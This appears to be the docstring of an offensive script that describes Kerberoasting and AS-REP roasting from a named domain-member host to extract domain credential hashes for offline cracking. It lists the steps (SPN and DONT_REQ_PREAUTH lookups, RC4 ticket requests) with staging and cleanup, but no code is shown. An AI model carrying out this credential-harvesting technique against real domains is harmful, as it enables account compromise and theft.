r"""Kerberoast + AS-REP roast from STASRV25018 (domain member). Staged; --execute.

Extracts crackable domain-cred hashes via legitimate Kerberos/AD reads:
  1. Kerberoast: LDAP-find user accounts with SPNs, request RC4 TGS, output
     hash material for offline crack.
  2. AS-REP roast: find users with DONT_REQ_PREAUTH (4194304 flag).
Method: pure PowerShell/.NET (System.DirectoryServices + System.IdentityModel).
No external tools, no lsass. Read-only AD/Kerberos queries. Cleanup after.
